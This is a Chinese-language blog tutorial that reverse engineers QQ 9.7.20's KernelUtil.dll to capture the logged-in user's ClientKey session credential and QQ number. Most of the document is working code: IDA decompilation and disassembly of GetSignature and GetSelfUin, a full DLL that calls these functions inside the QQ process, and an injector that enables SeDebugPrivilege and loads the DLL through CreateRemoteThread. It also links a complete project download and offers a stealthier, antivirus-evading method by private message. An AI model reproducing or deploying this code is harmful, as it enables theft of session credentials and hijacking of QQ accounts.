前言

   众所周知,由于最新版本 QQ 9.7.20 已经不能通过模拟网页快捷登录来截取 Clientkey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。

Step 1

KernelUtil.dll QQ 9.7.20 (29269) 即官网最新版本

此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下

并于客户端成功登录后加载。

Step 2

IDA 附加

定位到 KernelUtil.dll 中的函数

“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”

`CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)

{

int v2; // eax

int v4; // [esp-14h] [ebp-14h]

int v5; // [esp-10h] [ebp-10h]

int v6; // [esp-Ch] [ebp-Ch]

int v7; // [esp-8h] [ebp-8h]

CTXStringW::CTXStringW(a1);

v5 = 0;

sub_55404A73(&v5);

if ( v5 )

{

v6 = 0;

if ( (*(int (__stdcall **)(int, int, int ))((_DWORD )v5 + 60))(v5, a2, &v6) >= 0 )

{

v7 = 0;

sub_5536126A(&v7, v6);

v2 = Util::Encode::Encode16(&v4, &v7);

CTXStringW::operator=(a1, v2);

CTXStringW::~CTXStringW((CTXStringW )&v4);

if ( v7 )

(
(void (__stdcall **)(int))(
(_DWORD *)v7 + 8))(v7);

}

sub_5540C87C(&v6);

}

sub_5540C87C(&v5);

return a1;

}`

参数 1 为 缓存区 返回结果指针。

参数 2 为 传入参数的指针。

.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void) .text:55416CFC public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ .text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near .text:55416CFC ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p .text:55416CFC ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ... .text:55416CFC push ebp .text:55416CFD mov ebp, esp .text:55416CFF push offset aBuf32bytevalue ; "buf32ByteValueAddedSignature" .text:55416D04 push dword ptr [ebp+8] .text:55416D07 call ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *) .text:55416D0C mov eax, [ebp+8] .text:55416D0F pop ecx .text:55416D10 pop ecx .text:55416D11 pop ebp .text:55416D12 retn .text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp

CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1) { Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature"); return a1; }

Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。

`int __fastcall Util::Contact::GetSelfUin(int a1)

{

int result; // eax

int v2; // esi

int v3; // [esp-8h] [ebp-8h]

v3 = a1;

result = dword_554F12AC;

if ( !dword_554F12AC )

{

v3 &= dword_554F12AC;

sub_55404A73(&v3);

if ( v3 )

(*(void (__stdcall **)(int, int ))((_DWORD *)v3 + 48))(v3, &dword_554F12AC);

v2 = dword_554F12AC;

sub_5540C87C(&v3);

result = v2;

}

return result;

}`

GetSelfUin 获取当前登录客户端 Uin。

.text:55405EA9 public ?GetSelfUin@Contact@Util@@YAKXZ .text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near .text:55405EA9 ; CODE XREF: .text:5535A2FE↑p .text:55405EA9 ; .text:5535A921↑p ... .text:55405EA9 push ebp .text:55405EAA mov ebp, esp .text:55405EAC push ecx .text:55405EAD mov eax, dword_554F12AC .text:55405EB2 test eax, eax .text:55405EB4 jnz short loc_55405EE7 .text:55405EB6 and [ebp-4], eax .text:55405EB9 lea eax, [ebp-4] .text:55405EBC push eax .text:55405EBD call sub_55404A73 .text:55405EC2 mov eax, [ebp-4] .text:55405EC5 pop ecx .text:55405EC6 test eax, eax .text:55405EC8 jz short loc_55405ED5 .text:55405ECA mov ecx, [eax] .text:55405ECC push offset dword_554F12AC .text:55405ED1 push eax .text:55405ED2 call dword ptr [ecx+30h] .text:55405ED5 .text:55405ED5 loc_55405ED5: ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j .text:55405ED5 push esi .text:55405ED6 mov esi, dword_554F12AC .text:55405EDC lea ecx, [ebp-4] .text:55405EDF call sub_5540C87C .text:55405EE4 mov eax, esi .text:55405EE6 pop esi .text:55405EE7 .text:55405EE7 loc_55405EE7: ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j .text:55405EE7 mov esp, ebp .text:55405EE9 pop ebp .text:55405EEA retn .text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp

Step 3

我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。

`

ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");

if (fnGetSelfUin == NULL)

{

OutputDebugStringA("Get GetSelfUin Function failed \n");

return FALSE;

}

// 获取 UIN
ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
if (currentQQ == NULL)
{
OutputDebugStringA("Invoke GetSelfUin Function failed \n");
return FALSE;
} PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (GetSignature == NULL)
{
OutputDebugStringA("Get GetSignature Function failed \n");
return FALSE;
} // 获取 Clientkey
PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (res == NULL)
{
OutputDebugStringA("Invoke GetSignature Function failed \n");
return FALSE;
}`

实现代码

DLL

点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h" using namespace std; char szUin[MAX_PATH] = { 0 };
char szClientkey[MAX_PATH] = { 0 }; BOOL DelTempFiles(); BOOL GetQQClientKeys(); static DWORD WINAPI MainProcess(LPVOID pParam); // 清理缓存 BOOL DelTempFiles()
{
// 清理 DNS 缓存
ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE); BOOL bResult = FALSE;
BOOL bDone = FALSE; LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL; DWORD dwTrySize, dwEntrySize = 4096; // start buffer size
HANDLE hCacheDir = NULL;
DWORD dwError = ERROR_INSUFFICIENT_BUFFER; do
{
switch (dwError)
{
// need a bigger buffer
case ERROR_INSUFFICIENT_BUFFER:
delete[] lpCacheEntry;
lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];
lpCacheEntry->dwStructSize = dwEntrySize;
dwTrySize = dwEntrySize;
BOOL bSuccess;
if (hCacheDir == NULL)
bSuccess = (hCacheDir
= FindFirstUrlCacheEntry(NULL, lpCacheEntry,
&dwTrySize)) != NULL;
else
bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize); if (bSuccess)
dwError = ERROR_SUCCESS;
else
{
dwError = GetLastError();
dwEntrySize = dwTrySize; // use new size returned
}
break; // we are done
case ERROR_NO_MORE_ITEMS:
bDone = TRUE;
bResult = TRUE;
break; // we have got an entry
case ERROR_SUCCESS:
// don't delete cookie entry
if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); // get ready for next entry
dwTrySize = dwEntrySize;
if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
dwError = ERROR_SUCCESS;
else
{
dwError = GetLastError();
dwEntrySize = dwTrySize; // use new size returned
}
break; // unknown error
default:
bDone = TRUE;
break;
} if (bDone)
{
delete[]lpCacheEntry;
if (hCacheDir)
FindCloseUrlCache(hCacheDir);
}
} while (!bDone); return TRUE;
} BOOL GetQQClientKeys()
{
// 清理缓存与DNS
DelTempFiles(); ZeroMemory(szUin, MAX_PATH);
ZeroMemory(szClientkey, MAX_PATH); HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
if (hKernelUtil == NULL)
{
OutputDebugStringA("Get KernelUtil Module failed \n");
return FALSE;
} ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if (fnGetSelfUin == NULL)
{
OutputDebugStringA("Get GetSelfUin Function failed \n");
return FALSE;
} ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
if (currentQQ == NULL)
{
OutputDebugStringA("Invoke GetSelfUin Function failed \n");
return FALSE;
} sprintf(szUin, "%u", currentQQ); PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (GetSignature == NULL)
{
OutputDebugStringA("Get GetSignature Function failed \n");
return FALSE;
} PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (res == NULL)
{
OutputDebugStringA("Invoke GetSignature Function failed \n");
return FALSE;
} sprintf(szClientkey, "%ws", ClientKey); return TRUE;
} BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE hThread1;
hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
} // 主线程模块 static DWORD WINAPI MainProcess(LPVOID pParam)
{
if (GetQQClientKeys())
{
MessageBox(NULL, "获取数据成功。", "注意", NULL);
}
return 0;
}

主程序

点击查看代码
// Main.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h" #ifdef _DEBUG
#define new DEBUG_NEW
#endif BOOL AdjustPrivileges(); BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID); // 唯一的应用程序对象 CWinApp theApp; using namespace std; BOOL AdjustPrivileges()
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp = { 0 };
TOKEN_PRIVILEGES oldtp = { 0 };
DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
LUID luid = { 0 }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
} if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
} tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /* Adjust Token Privileges */
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {
CloseHandle(hToken);
return FALSE;
} // close handles
CloseHandle(hToken);
return TRUE;
} BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID)
{
if (AdjustPrivileges())
{
HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
if (hOprocess != NULL)
{
_TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
if (pLibFileRemote != NULL)
{
if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))
return FALSE; //Get LoadLibraryW Address
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
if (pfnStartAddr != NULL)
{
HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);
if (hRemote != NULL)
{
CloseHandle(hRemote);
CloseHandle(hOprocess); return TRUE;
}
}
}
}
CloseHandle(hOprocess);
}
return FALSE;
} int main()
{
if (!injectDLL(“D:\\QQKey.dll”, 8888))
{
cout << "injectDLL To Target EXE Failed。\r\n" << endl;
} system("pause"); return 0;
}

效果演示

结语

利用此种方法可以很方便的截取到 Uin 跟 Clientkey。

但是缺点也是相形见绌的,如下图:

:(

要出现这个画面提示就不是很友好了,并且大部分安全软件都会提示并拦截,其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此,那么该方法就显得一无是处。

还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey,并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明,怕又被和谐,有兴趣的可以私信我。

完整项目下载

【蓝奏云下载】 (提取码:eh9v)

【百度云下载】 (提取码:wqau)

通过 KernelUtil 截取 QQ / TIM 客户端 ClientKey 详细教程的更多相关文章

  1. Ubuntu 16.04安装QQ国际版图文详细教程

            因工作需要,我安装了Ubuntu 16.04,但是工作上的很多事情需要QQ联系,然而在Ubuntu上的WebQQ很是不好用,于是在网上搜索了好多个Linux版本的QQ,然而不是功能不全 ...

  2. Windows系统下Memcached缓存系列二:CouchbaseClient(c#客户端)的详细试用,单例模式

    在上一篇文章里面 ( Windows系统下Memcached缓存系列一:Couchbase(服务器端)和CouchbaseClient(c#客户端)的安装教程 ),我们介绍了服务器端的安装和客户端的安 ...

  3. [Oracle]如何获得出现故障时,客户端的详细连接信息

    [Oracle]如何获得出现故障时,客户端的详细连接信息 客户坚持说 只是在 每天早上5点才运行下面的语句: select / * + FULL (TAB001_TT01) * / 'TAB001_T ...

  4. [教程]Ubuntu16.04安装QQ,Tim,微信,百度网盘等

    [教程]Ubuntu16.04安装QQ,Tim,微信,百度网盘等 本文参考这篇blog step 1 先安装 deep-win环境. 戳这里下载压缩包 解压后在文件夹里打开终端,输入 sudo sh ...

  5. ubuntu 下安装QQ TIM QQ轻聊版 微信 Foxmail 百度网盘 360压缩 WinRAR 迅雷极速版

    第1步,安装deepin-wine环境:上https://github.com/wszqkzqk/deepin-wine-ubuntu页面下载zip包(或用git方式克隆),解压到本地文件夹,在文件夹 ...

  6. Redis使用详细教程

    Redis使用详细教程 一.Redis基础部分: 1.redis介绍与安装比mysql快10倍以上 *****************redis适用场合**************** 1.取最新N个 ...

  7. Redis使用详细教程【转】

    转自 Redis使用详细教程 - wangyuyu - 博客园http://www.cnblogs.com/wangyuyu/p/3786236.html 一.Redis基础部分: 1.redis介绍 ...

  8. 申请社交平台appkey详细教程

    申请社交平台appkey详细教程 大部分app都需要实现分享到微信.微博等社交平台的功能,但是在各个平台上申请appkey是一件很繁琐的事情.现在来分享一个申请社交平台appkey详细教程,在开发过程 ...

  9. 手把手教你Pytest+Allure2.X定制报告详细教程,给自己的项目量身打造一套测试报告-02(非常详细,非常实用)

    简介 前边一篇文章是分享如何搭建pytest+Allure的环境,从而生成一份精美的.让人耳目一新的测试报告,但是有的小伙伴或者童鞋们可能会问,我能不能按照自己的想法为我的项目测试结果量身打造一份属于 ...

  10. Linux系统下Redis单机版的安装详细教程

    Linux系统下Redis单机版的安装详细教程 1.下载软件安装包并上传到root目录 这里以旧版本的3.0进行安装,比较成熟稳定,具体软件可以通过qq群534073451文件下载

随机推荐

  1. 【效率提升】maven 转 gradle 实战

    一.灵魂三问 1.gradle 是什么? 一个打包工具, 是一个开源构建自动化工具,足够灵活,可以构建几乎任何类型的软件,高性能.可扩展.能洞察等.其中洞察,可以用于分析构建过程中数据,提供分析参考, ...

  2. Django框架项目——BBS项目介绍、表设计、表创建同步、注册、登录功能、登录功能、首页搭建、admin、头像、图片防盗、个人站点、侧边栏筛选、文章的详情页、点赞点踩、评论、后台管理、添加文章、头像

    文章目录 1 BBS项目介绍.表设计 项目开发流程 表设计 2 表创建同步.注册.登录功能 数据库表创建及同步 注册功能 登陆功能 3 登录功能.首页搭建.admin.头像.图片防盗.个人站点.侧边栏 ...

  3. 其它——ZeroRPC和SimpleXMLRPCServer

    文章目录 一 Python中RPC框架 二 SimpleXMLRPCServer使用 服务端 客户端 三 ZeroRPC使用 服务端 客户端 一 Python中RPC框架 自带的:SimpleXMLR ...

  4. matlab关于阶梯图和图窗操作

    1阶梯信号绘制 Matlab 中绘制阶梯图函数:stairs x = [30 33 37 40 37 33 30 27 23 20 23 27 30 30]'; StepNum = length(x) ...

  5. 2020 5 17 codeforces

    cf还没结束,就开始写总结了.cf确实是个好东西,能够直接暴露出弱点和增加刷题量.以后还是要多打打的.这次我发现自己的码力还是不行.一个二分都要调好久.唉T1sb题,就是入门用的.题目看不懂...写了 ...

  6. oracle命令3 冷备份

    用户管理的备份:备份脚本要自己写:备份哪些文件要自己选:恢复时要复制那些文件自己判断:恢复需要的日志,自己找: 备份,需要备份保存关键SCN信息的文件:一次完成的备份包括:控制文件,数据文件,日志文件 ...

  7. 比赛总结:Japan Registry Services (JPRS) Programming Contest 2023 (AtCoder Beginner Contest 324)

    比赛:Japan Registry Services (JPRS) Programming Contest 2023 (AtCoder Beginner Contest 324) A-same 1.常 ...

  8. SQL Server事务及隔离级别

    事务的并发操作可能出现的问题 中文 英文 描述 脏读 Dirty Reads 事务2读到了事务1未提交的事务,事务1随后回滚,但事务2读到了事务1的"中间数据". 在Read Un ...

  9. VRRP相关简述

    VRRP 诞生原因 单网关,出问题时,旗下所有主机无法通信. 多网关,容易产生网关冲突. 而,VRRP能够在不改变组网的情况下,将多台路由器虚拟成一个虚拟路由器,通过配置虚拟路由器的IP地址为默认网关 ...

  10. git 删除远程分支,重新提交代码

    最近提交代码,分支名出错了,要更正分支名并且重新提交代码,这里记录一下. 说明一下,我之前的分支名是:feature_mobile_duty,更正后的分支名是feature-mobile-duty,是 ...